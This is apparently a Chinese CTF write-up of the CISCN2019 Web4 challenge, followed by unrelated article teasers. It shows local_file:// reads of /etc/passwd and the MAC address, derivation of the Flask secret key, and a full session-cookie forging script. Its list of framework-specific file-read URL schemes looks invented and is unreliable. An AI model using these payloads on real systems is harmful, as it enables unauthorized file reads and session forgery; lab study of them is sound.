77,【1】.[CISCN2019 华东南赛区]Web4

有句英文,看看什么意思

好像也可以不看

进入靶场

点击蓝色字体

我勒个豆,百度哇

所以重点应该在url上,属于任意文件读取类型

接下来该判断框架了

常见的web框架如下

一,Python 框架

1.Flask

URL 示例 1:`http://example.com/read?path=local_flask:///etc/passwd` -

URL 示例 2:`http://example.com/load?source=flask_data:///app/logs/access.log`

2.Django

URL 示例 1:`http://example.com/get?file=django_custom:///etc/passwd` -

URL 示例 2:`http://example.com/readfile?path=django_appdata:///project/settings.py`

二,PHP 框架 

1.Laravel

URL 示例 1:`http://example.com/fetch?resource=laravel_internal:///etc/passwd` -

URL 示例 2:`http://example.com/read?file=laravel_storage:///app/public/images/test.jpg`

2.Symfony

URL 示例 1:`http://example.com/retrieve?path=symfony_special:///etc/passwd`

 URL 示例 2:`http://example.com/getfile?source=symfony_bundle:///MyBundle/Resources/config.yml`

三,Java 框架

1.Spring Boot

URL 示例 1:`http://example.com/read?uri=springboot_custom:///etc/passwd` -

URL 示例 2:`http://example.com/loadfile?file=springboot_config:///application.properties` -

2.Struts

URL 示例 1:`http://example.com/get?resource=struts_internal:///etc/passwd` -

URL 示例 2:`http://example.com/readfile?path=struts_action:///actions/resources/data.xml`

四,Node.js 框架

1,Express

URL 示例 1:`http://example.com/fetch?path=express_local:///etc/passwd` -

URL 示例 2:`http://example.com/read?file=express_module:///modules/utils/config.json`

2,Koa

URL 示例 1:`http://example.com/get?source=koa_custom:///etc/passwd` -

URL 示例 2:`http://example.com/readfile?path=koa_context:///ctx/data.txt`

当无法判断框架类型时也会使用 file:///etc/passwd 进行文件读取测试。

那就先尝试file:///etc/passwd 

不太行

再试一个

local_file:///etc/passwd 

在 Flask 框架里,app.py 往往是项目的核心文件

所以通过它来读取源码

# 指定文件编码为 UTF-8,确保可以正确处理中文字符等非 ASCII 字符
# encoding:utf-8

# 导入所需的模块
# re 模块用于进行正则表达式匹配
import re
# random 模块用于生成随机数
import random
# uuid 模块用于生成通用唯一识别码,这里使用 uuid.getnode() 获取计算机的 MAC 地址作为随机数种子
import uuid
# urllib 模块用于处理 URL 相关操作,如打开 URL 并读取内容
import urllib

# 从 flask 框架中导入 Flask 类用于创建 Flask 应用实例
# session 用于管理会话,可在不同请求之间存储和获取用户信息
# request 用于获取客户端的请求信息,如请求参数等
from flask import Flask, session, request

# 创建一个 Flask 应用实例
app = Flask(__name__)

# 使用计算机的 MAC 地址作为随机数种子,确保每次运行时生成的随机数序列不同
random.seed(uuid.getnode())

# 为 Flask 应用设置 SECRET_KEY,用于加密会话数据
# 这里通过随机数乘以 233 并转换为字符串来生成 SECRET_KEY
app.config['SECRET_KEY'] = str(random.random() * 233)

# 开启 Flask 应用的调试模式,方便开发过程中定位问题
app.debug = True

# 定义根路由,当用户访问应用的根路径(/)时,会执行下面的函数
@app.route('/')
def index():
    # 在会话中设置一个键为 'username' 的值为 'www-data'
    session['username'] = 'www-data'
    # 返回一个字符串作为响应,提示用户可以读取某些内容
    return 'Hello World! Read somethings'

# 定义 /read 路由,用于处理文件读取请求
@app.route('/read')
def read():
    try:
        # 从请求的查询参数中获取名为 'url' 的值,该值表示要读取的文件或资源的 URL
        url = request.args.get('url')
        # 使用正则表达式检查 URL 是否以 'file' 开头(不区分大小写)
        # re.findall 函数会返回所有匹配的结果,这里如果匹配到则 m 为非空列表
        m = re.findall('^file.*', url, re.IGNORECASE)
        # 使用正则表达式检查 URL 中是否包含 'flag' 字符串(不区分大小写)
        # 如果匹配到则 n 为非空列表
        n = re.findall('flag', url, re.IGNORECASE)
        # 如果 URL 以 'file' 开头或者包含 'flag' 字符串,则认为是潜在的攻击行为
        if m or n:
            return 'No Hack'
        # 使用 urllib.urlopen 打开指定的 URL,并获取响应对象
        res = urllib.urlopen(url)
        # 读取响应对象的内容并返回
        return res.read()
    # 捕获可能出现的异常
    except Exception as ex:
        # 将异常信息转换为字符串并打印,方便调试
        print(str(ex))
        # 如果出现异常,返回 'no response' 作为响应
        return 'no response'

# 定义 /flag 路由,用于获取标志文件的内容
@app.route('/flag')
def flag():
    # 检查会话是否存在,并且会话中的 'username' 键的值是否为 'fuck'
    if session and session['username'] == 'fuck':
        # 如果条件满足,打开 /flag.txt 文件并读取其内容返回
        return open('/flag.txt').read()
    else:
        # 如果条件不满足,返回 'Access denied' 表示访问被拒绝
        return 'Access denied'

# 当该脚本作为主程序运行时,执行以下代码
if __name__ == '__main__':
    # 启动 Flask 应用
    # debug=True 表示开启调试模式
    # host="0.0.0.0" 表示应用可以接受来自任何 IP 地址的请求
    app.run(debug=True, host="0.0.0.0")

解读代码

根据此句,知要打开flag.txt需要满足session['username'] == 'fuck'

而与session相关的代码在这

在 Python 中,uuid.getnode() 是 uuid 模块提供的一个函数,主要用于获取当前设备的硬件地址(通常是 MAC 地址),并将其作为一个 48 位的整数返回。

所以我们需要知道mac地址

而在 Linux 系统中,/sys 目录是一个虚拟文件系统,它提供了一种内核数据结构的接口,用于向用户空间暴露系统硬件和设备驱动的信息。/sys/class/net 目录下包含了系统中所有网络接口的信息,每个网络接口对应一个子目录。
eth0 通常是 Linux 系统中第一个以太网网络接口的默认名称(不过现在很多系统会采用更具描述性的命名规则)。在 eth0 对应的子目录下,address 文件包含了该网络接口的 MAC 地址。

local_file:///sys/class/net/eth0/address

mac地址:4e:d9:ac:5d:21:a4

import random
random.seed(0x4ed9ac5d21a4)
print(str(random.random()*233))

28.446782818032307

python3 .\test.py decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Z5SrWQ.c7ehqhgn_cr66-Med3jVqhfvb_U' -s '28.4467828180'

不明白它老是报错

一直不匹配

脚本是没有问题的,如下

# !/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key
        self.config = {
            'SECRET_KEY_FALLBACKS': []
        }


if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        @staticmethod
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)

        @staticmethod
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if secret_key is None:
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)


else:  # > 3.4
    class FSCM(ABC):
        @staticmethod
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)

        @staticmethod
        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if secret_key is None:
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)


if __name__ == "__main__":
    # Args are only relevant for __main__ usage

    ## Description for help
    parser = argparse.ArgumentParser(
        description='Flask Session Cookie Decoder/Encoder',
        epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                               help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                               help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                               help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if args.subcommand == 'encode':
        if args.secret_key is not None and args.cookie_structure is not None:
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif args.subcommand == 'decode':
        if args.secret_key is not None and args.cookie_value is not None:
            print(FSCM.decode(args.cookie_value, args.secret_key))
        elif args.cookie_value is not None:
            print(FSCM.decode(args.cookie_value))

这道题消耗了太长太长时间了

我先把后续思路写下

这一步匹配后他会生成{'username': b'www-data'}

将此修改为{'username': b'fuck'},然后重新加密生成session

用新的代替旧的后再去访问/flag即可

笔记

这个题太耗时了,先是工具搞不懂,再是代码出错,最后cookie和密钥不匹配,每一次靶场重启都要查mac地址,代码跑出密钥,重换cookie值,上面记录的图片什么的也一直在换,我先看看后面的题目,再来完善这道

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/959737.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

c语言中的数组(上)

数组的概念 数组是⼀组相同类型元素的集合&#xff1b; 数组中存放的是1个或者多个数据&#xff0c;但是数组元素个数不能为0。 数组中存放的多个数据&#xff0c;类型是相同的。 数组分为⼀维数组和多维数组&#xff0c;多维数组⼀般⽐较多⻅的是⼆维数组。 数组创建 在C语言…

景联文科技加入AIIA联盟数据标注分委会

2025年1月16日&#xff0c;中国人工智能产业发展联盟&#xff08;简称AIIA&#xff09;数据委员会数据标注分委会&#xff08;以下简称“分委会”&#xff09;正式成立。景联文科技成为第一批AIIA联盟数据标注分委会委员单位。 数据标注分委会的成立旨在搭建数据标注领域产学研…

[笔记] 极狐GitLab实例 : 手动备份步骤总结

官方备份文档 : 备份和恢复极狐GitLab 一. 要求 为了能够进行备份和恢复&#xff0c;请确保您系统已安装 Rsync。 如果您安装了极狐GitLab&#xff1a; 如果您使用 Omnibus 软件包&#xff0c;则无需额外操作。如果您使用源代码安装&#xff0c;您需要确定是否安装了 rsync。…

消息队列篇--通信协议篇--AMOP(交换机,队列绑定,消息确认,AMOP实现实例,AMOP报文,帧,AMOP消息传递模式等)

AMQP&#xff08;Advanced Message Queuing Protocol&#xff0c;高级消息队列协议&#xff09;是一种开放的、跨平台的消息传递协议&#xff0c;旨在提供一种标准化的方式在不同的消息代理和客户端之间进行消息传递。AMQP不仅定义了消息格式和路由机制&#xff0c;还规定了如何…

小利特惠源码/生活缴费/电话费/油卡燃气/等充值业务类源码附带承兑系统

全新首发小利特惠/生活缴费/电话费/油卡燃气/等充值业务类源码附带U商承兑系统 安装教程如下 图片:

HTML<hgroup>标签

例子&#xff1a; 使用hgroup元素标记标题和段落是相关的&#xff1a; <hgroup> <h2>Norway</h2> <p>The land with the midnight sun.</p> </hgroup> 定义和用法&#xff1a; 标签<hgroup>用于包围标题和一个或多个<p&g…

14-6-3C++STL的list

&#xff08;一&#xff09;list的插入 1.list.insert(pos,elem);//在pos位置插入一个elem元素的拷贝&#xff0c;返回新数据的位置 #include <iostream> #include <list> using namespace std; int main() { list<int> lst; lst.push_back(10); l…

【2024年终总结】深圳工作生活评测

距离上次写年终总结已经过了一年半了&#xff0c;这一年半中哪怕经历了很多的事情&#xff0c;但是感觉又没发生什么。想写一些骚话&#xff0c;却总觉得自己无法完全表达&#xff0c;便也就这样&#xff0c;静静地记录下这一段时光。 现在是2025年&#xff0c;春节前的时光&am…

前端jquery 实现文本框输入出现自动补全提示功能

git仓库&#xff1a;web_study/some-demos/inputAutoFit at main Cong0925/web_study (github.com) 压缩包&#xff1a;已绑定到指定资源 示例图&#xff1a; 实现说明: 1.首先&#xff0c;html部分设置好相关的定位标签如图&#xff1a; 2.主要函数 3.默认数据

(5)STM32 USB设备开发-USB键盘

讲解视频&#xff1a;2、USB键盘-下_哔哩哔哩_bilibili 例程&#xff1a;STM32USBdevice: 基于STM32的USB设备例子程序 - Gitee.com 本篇为使用使用STM32模拟USB键盘的例程&#xff0c;没有知识&#xff0c;全是实操&#xff0c;按照步骤就能获得一个STM32的USB键盘。本例子是…

java后端之登录认证

基础登录功能&#xff1a;根据提供的用户名和密码判断是否存在于数据库 LoginController.java RestController Slf4j public class LoginController {Autowiredprivate UserService userService;PostMapping("/login")public Result login(RequestBody User user) {…

Spring--Bean的生命周期和循环依赖

Bean的生命周期和循环依赖 Bean 的生命周期了解么?Spring中的循环引用什么是循环引用&#xff1f;三级缓存解决循环依赖总结构造方法出现了循环依赖怎么解决&#xff1f; Bean 的生命周期了解么? 整体上可以简单分为四步&#xff1a;实例化 —> 属性赋值 —> 初始化 —…

【云安全】云原生-Docker(五)容器逃逸之漏洞利用

漏洞利用逃逸 通过漏洞利用实现逃逸&#xff0c;主要分为以下两种方式&#xff1a; 1、操作系统层面的内核漏洞 这是利用宿主机操作系统内核中的安全漏洞&#xff0c;直接突破容器的隔离机制&#xff0c;获得宿主机的权限。 攻击原理&#xff1a;容器本质上是通过 Linux 的…

【Uniapp-Vue3】request各种不同类型的参数详解

一、参数携带 我们调用该接口的时候需要传入type参数。 第一种 路径名称?参数名1参数值1&参数名2参数值2 第二种 uni.request({ url:"请求路径", data:{ 参数名:参数值 } }) 二、请求方式 常用的有get&#xff0c;post和put 三种&#xff0c;默认是get请求。…

基于SpringBoot的软件产品展示销售系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏&#xff1a;…

hedfs和hive数据迁移后校验脚本

先谈论校验方法&#xff0c;本人腾讯云大数据工程师。 1、hdfs的校验 这个通常就是distcp校验&#xff0c;hdfs通过distcp迁移到另一个集群&#xff0c;怎么校验你的对不对。 有人会说&#xff0c;默认会有校验CRC校验。我们关闭了&#xff0c;为什么关闭&#xff1f;全量迁…

mysql学习笔记-数据库的设计规范

1、范式简介 在关系型数据库中&#xff0c;关于数据表设计的基本原则、规则就称为范式。 1.1键和相关属性的概念 超键:能唯一标识元组的属性集叫做超键。 候选键:如果超键不包括多余的属性&#xff0c;那么这个超键就是候选键 主键:用户可以从候选键中选择一个作为主键。 外…

高并发问题的多维度解决之道

‍‌​​‌‌​‌​‍‌​​​‌‌​​‍‌​​​‌​‌​‍‌​​‌​​‌​‍‌‌​​‌​‌​‍‌​‌​‌‌​​‍‌​‌​‌​​​‍‌​‌​‌​‌​‍‌​‌‌​​‌​‍‌​‌‌​​​​‍‌‌​​‌‌‌‌‍‌‌​​‌​‌‌‍‌​​​‌‌​​‍‌​​‌‌‌​​‍‌…

Windows Defender添加排除项无权限的解决方法

目录 起因Windows Defender添加排除项无权限通过管理员终端添加排除项管理员身份运行打开PowerShell添加/移除排除项的命令 起因 博主在打软件补丁时&#xff0c;遇到 Windows Defender 一直拦截并删除文件&#xff0c;而在 Windows Defender 中无权限访问排除项。尝试通过管理…

数据结构——堆(C语言)

基本概念&#xff1a; 1、完全二叉树&#xff1a;若二叉树的深度为h&#xff0c;则除第h层外&#xff0c;其他层的结点全部达到最大值&#xff0c;且第h层的所有结点都集中在左子树。 2、满二叉树&#xff1a;满二叉树是一种特殊的的完全二叉树&#xff0c;所有层的结点都是最…